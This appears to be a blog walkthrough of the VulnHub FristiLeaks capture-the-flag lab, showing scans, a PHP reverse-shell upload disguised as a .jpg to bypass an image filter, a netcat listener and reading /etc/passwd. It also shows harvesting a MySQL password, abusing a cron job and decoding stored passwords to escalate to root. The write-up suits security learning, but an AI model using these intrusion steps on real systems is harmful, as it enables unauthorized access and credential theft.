← Home

VulnHub FristiLeaks

8 March, 2021

Machine: https://www.vulnhub.com/entry/fristileaks-13,133/

Beginning with an Nmap scan, looks like robots.txt has 3 disallowed paths

$ sudo nmap -A 192.168.29.18 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-07 12:05 EST
Nmap scan report for 192.168.29.18
Host is up (0.0010s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/cola /sis/i /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.00 ms 192.168.29.18

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.15 seconds

All 3 of the paths lead to the same meme

Nikto scan didn't show anything specific

$ nikto -Display 1234EP -o report.html -Format htm -Tuning 123bde -host 192.168.29.18 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.29.18
+ Target Hostname:    192.168.29.18
+ Target Port:        80
+ Start Time:         2021-03-07 12:11:48 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
+ Server may leak inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 13:45:47 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ PHP/5.3.3 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 584 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2021-03-07 12:11:50 (GMT-5) (2 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Gobuster didn't show anything nice as well

$ ./gobuster dir -u http://192.168.29.18 -w wordlists/common.txt -x php              
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.29.18
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/03/07 12:14:31 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 206]
/.hta.php             (Status: 403) [Size: 210]
/.htpasswd            (Status: 403) [Size: 211]
/.htaccess            (Status: 403) [Size: 211]
/.htaccess.php        (Status: 403) [Size: 215]
/.htpasswd.php        (Status: 403) [Size: 215]
/cgi-bin/             (Status: 403) [Size: 210]
/images               (Status: 301) [Size: 236] [--> http://192.168.29.18/images/]
/index.html           (Status: 200) [Size: 703]                                   
/robots.txt           (Status: 200) [Size: 62]                                    
                                                                                  
===============================================================
2021/03/07 12:14:39 Finished
===============================================================

Found this exploit for this PHP version but it didn't work

Taking a hint from the name of the machine, trying out /fristi and it brought me to a login page. SQLi on username and password didn't work

Found a base64 string in the comment, it was an encoded image with the string "keKkeKKeKKeKkEkkEk"

The source code also had a name eezeepz. Using that for username and the string from the image as the password, got into the site

The link leads to an upload page

Looks like I can only upload images

It was pretty clear that the aim was to upload a PHP reverse shell. So I tried the very common way of tricking such a detection, added the magic bytes of GIF format to the beginning of my shell.php but unfortunately that gave me the same error So then I tried with a file named shell.php.jpg and it worked. Got a low privilege shell

$ nc -lvnp 4242                                                                      
listening on [any] 4242 ...
connect to [192.168.29.22] from (UNKNOWN) [192.168.29.18] 52662
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 12:46:40 up 42 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ whoami
whoami
apache
sh-4.1$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

Found a file /var/www/notes.txt

bash-4.1$ cat notes.txt
cat notes.txt
hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.

-jerry

Found a MySQL password

bash-4.1$ pwd
pwd
/var/www/html/fristi
bash-4.1$ ls -ltrha
ls -ltrha
total 172K
-rw-r--r--. 1 apache apache   45 Nov 17  2015 logout.php
-rw-r--r--. 1 apache apache 1.3K Nov 17  2015 checklogin.php
-rw-r--r--. 1 apache apache 1.7K Nov 17  2015 pic2.b64
-rw-r--r--. 1 apache apache 129K Nov 17  2015 pic.b64
lrwxrwxrwx. 1 apache apache   14 Nov 17  2015 index.php -> main_login.php
-rw-r--r--. 1 apache apache  191 Nov 17  2015 login_success.php
-rw-r--r--. 1 apache apache  372 Nov 17  2015 upload.php
-rw-r--r--. 1 apache apache 1.2K Nov 17  2015 do_upload.php
drwxr-xr-x  3 apache apache 4.0K Nov 17  2015 .
-rw-r--r--. 1 apache apache 1.4K Nov 17  2015 main_login.php
drwxr-xr-x. 7 root   root   4.0K Nov 25  2015 ..
drwxrwxrwx. 2 apache apache 4.0K Mar  7 12:46 uploads
bash-4.1$ grep password *
grep password *
checklogin.php:$password="4ll3maal12#"; // Mysql password
checklogin.php:mysql_connect("$host", "$username", "$password")or die("cannot connect");
checklogin.php:// Define $myusername and $mypassword
checklogin.php:$mypassword=$_POST['mypassword'];
checklogin.php:$mypassword = stripslashes($mypassword);
checklogin.php:$mypassword = mysql_real_escape_string($mypassword);
checklogin.php:$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
checklogin.php:// If result matched $myusername and $mypassword, table row must be 1 row
checklogin.php:// Register $myusername, $mypassword and redirect to file "login_success.php"
checklogin.php:session_register("mypassword");
index.php:<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
index.php:<td><input name="mypassword" type="text" id="mypassword"></td>
main_login.php:<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
main_login.php:<td><input name="mypassword" type="text" id="mypassword"></td>
grep: uploads: Is a directory

bash-4.1$ grep Mysql checklogin.php
grep Mysql checklogin.php
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
// Mysql_num_row is counting table row

Got into MySQL

bash-4.1$ mysql -u eezeepz
mysql -u eezeepz
ERROR 1045 (28000): Access denied for user 'eezeepz'@'localhost' (using password: NO)
bash-4.1$ mysql -u eezeepz -p 
mysql -u eezeepz -p
Enter password: 4ll3maal12#

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| hackmenow          |
+--------------------+
2 rows in set (0.01 sec)

mysql> USE hackmenow;
USE hackmenow;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW TABLES;
SHOW TABLES;
+---------------------+
| Tables_in_hackmenow |
+---------------------+
| members             |
+---------------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM members;
SELECT * FROM members;
+----+----------+--------------------+
| id | username | password           |
+----+----------+--------------------+
|  1 | eezeepz  | keKkeKKeKKeKkEkkEk |
+----+----------+--------------------+
1 row in set (0.00 sec)

Well that was a great dead-end :/

Found another notes file in /home/eezeepz/notes.txt

sh-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry
sh-4.1$ pwd
/home/eezeepz
pwd

So I guess Jerry's user will be reading runthis and executing each line as that user. Hmm...

Took me a while but got the right command to work and was able to change the permissions of /home/admin to 777. At first I was trying to get a reverse shell, then I was trying to change the password for admin but none of those worked

bash-4.1$ echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis
bash-4.1$ ls -ltrha /home/admin
ls -ltrha /home/admin
total 652K
-rw-r--r--. 1 admin     admin      124 Sep 22  2015 .bashrc
-rw-r--r--. 1 admin     admin      176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 admin     admin       18 Sep 22  2015 .bash_logout
-rwxr-xr-x  1 admin     admin      24K Nov 18  2015 echo
-rwxr-xr-x  1 admin     admin      84K Nov 18  2015 ps
-rwxr-xr-x  1 admin     admin      45K Nov 18  2015 cat
-rwxr-xr-x  1 admin     admin     160K Nov 18  2015 grep
-rwxr-xr-x  1 admin     admin     160K Nov 18  2015 egrep
-rwxr-xr-x  1 admin     admin      89K Nov 18  2015 df
-rwxr-xr-x  1 admin     admin      48K Nov 18  2015 chmod
-rw-r--r--  1 admin     admin      737 Nov 18  2015 cronjob.py
-rw-r--r--  1 admin     admin      258 Nov 18  2015 cryptpass.py
-rw-r--r--  1 admin     admin       21 Nov 18  2015 cryptedpass.txt
drwxr-xr-x. 5 root      root      4.0K Nov 19  2015 ..
-rw-r--r--  1 fristigod fristigod   25 Nov 19  2015 whoisyourgodnow.txt
drwxrwxrwx. 2 admin     admin     4.0K Nov 19  2015 .

Inside admin

bash-4.1$ cd /home/admin
cd /home/admin
bash-4.1$ ls -ltrha
ls -ltrha
total 652K
-rw-r--r--. 1 admin     admin      124 Sep 22  2015 .bashrc
-rw-r--r--. 1 admin     admin      176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 admin     admin       18 Sep 22  2015 .bash_logout
-rwxr-xr-x  1 admin     admin      24K Nov 18  2015 echo
-rwxr-xr-x  1 admin     admin      84K Nov 18  2015 ps
-rwxr-xr-x  1 admin     admin      45K Nov 18  2015 cat
-rwxr-xr-x  1 admin     admin     160K Nov 18  2015 grep
-rwxr-xr-x  1 admin     admin     160K Nov 18  2015 egrep
-rwxr-xr-x  1 admin     admin      89K Nov 18  2015 df
-rwxr-xr-x  1 admin     admin      48K Nov 18  2015 chmod
-rw-r--r--  1 admin     admin      737 Nov 18  2015 cronjob.py
-rw-r--r--  1 admin     admin      258 Nov 18  2015 cryptpass.py
-rw-r--r--  1 admin     admin       21 Nov 18  2015 cryptedpass.txt
drwxr-xr-x. 5 root      root      4.0K Nov 19  2015 ..
-rw-r--r--  1 fristigod fristigod   25 Nov 19  2015 whoisyourgodnow.txt
drwxrwxrwx. 2 admin     admin     4.0K Nov 19  2015 .
bash-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
bash-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
bash-4.1$ cat cryptpass.py
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult
bash-4.1$ cat cronjob.py
cat cronjob.py
import os

def writefile(str):
    with open('/tmp/cronresult','a') as er:
        er.write(str)
        er.close()

with open('/tmp/runthis','r') as f:
    for line in f:
        #does the command start with /home/admin or /usr/bin?
        if line.startswith('/home/admin/') or line.startswith('/usr/bin/'):
            #lets check for pipeline
            checkparams= '|&;'
            if checkparams in line:
                writefile("Sorry, not allowed to use |, & or ;")
                exit(1)
            else:
                writefile("executing: "+line)
                result =os.popen(line).read()
                writefile(result)
        else:
            writefile("command did not start with /home/admin or /usr/bin")

Hmm maybe the check for pipe was preventing me from changing password or getting a reverse shell

Ah well, so the base64 encoded password was encrypted using rot13. Let's decode that.

import base64, codecs

base64.b64decode(codecs.decode("mVGZ3O3omkJLmy2pcuTq", "rot13")[::-1])
b'thisisalsopw123'

base64.b64decode(codecs.decode("=RFn0AKnlMHMPIzpyuTI0ITG", "rot13")[::-1])
b'LetThereBeFristi!'

Alright got shell as admin

bash-4.1$ su admin
su admin
Password: thisisalsopw123

[admin@localhost ~]$ sudo -l
sudo -l
[sudo] password for admin: thisisalsopw123

Sorry, user admin may not run sudo on localhost.

Ran linpeas it highlighted the kernel version as a PE vector. Searched for exploits for that kernel and it was showing as vulnerable to dirty cow

Changed to fristigod using the decrypted string

[admin@localhost ~]$ su fristigod
su fristigod
Password: LetThereBeFristi!

bash-4.1$ whoami
whoami
fristigod
bash-4.1$ cd   
cd
bash-4.1$ ls -ltrha
ls -ltrha
total 16K
drwxr-xr-x. 19 root      root      4.0K Nov 19  2015 ..
drwxrwxr-x.  2 fristigod fristigod 4.0K Nov 25  2015 .secret_admin_stuff
drwxr-x---   3 fristigod fristigod 4.0K Nov 25  2015 .
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history
bash-4.1$ cd .secret_admin_stuff
cd .secret_admin_stuff
bash-4.1$ ls -ltrha
ls -ltrha
total 16K
-rwsr-sr-x  1 root      root      7.4K Nov 25  2015 doCom
drwxrwxr-x. 2 fristigod fristigod 4.0K Nov 25  2015 .
drwxr-x---  3 fristigod fristigod 4.0K Nov 25  2015 ..
bash-4.1$ file doCom
file doCom
doCom: setuid setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
bash-4.1$ cd ..
bash-4.1$ ls -ltrha
ls -ltrha
total 16K
drwxr-xr-x. 19 root      root      4.0K Nov 19  2015 ..
drwxrwxr-x.  2 fristigod fristigod 4.0K Nov 25  2015 .secret_admin_stuff
drwxr-x---   3 fristigod fristigod 4.0K Nov 25  2015 .
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history

bash-4.1$ cat .bash_history
cat .bash_history
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom 
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom 
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

doCom is a SUID binary and an example command has been shown

bash-4.1$ sudo -u fristi ./doCom ls /
sudo -u fristi ./doCom ls /
[sudo] password for fristigod: LetThereBeFristi!

bin   dev  home  lib64       media  opt   root  selinux  sys  usr
boot  etc  lib   lost+found  mnt    proc  sbin  srv      tmp  var

Whew! Got the flag in /root

bash-4.1$ sudo -u fristi ./doCom ls /root 
sudo -u fristi ./doCom ls /root 
fristileaks_secrets.txt
bash-4.1$ sudo -u fristi ./doCom cat /root/fristileaks_secrets.txt
sudo -u fristi ./doCom cat /root/fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1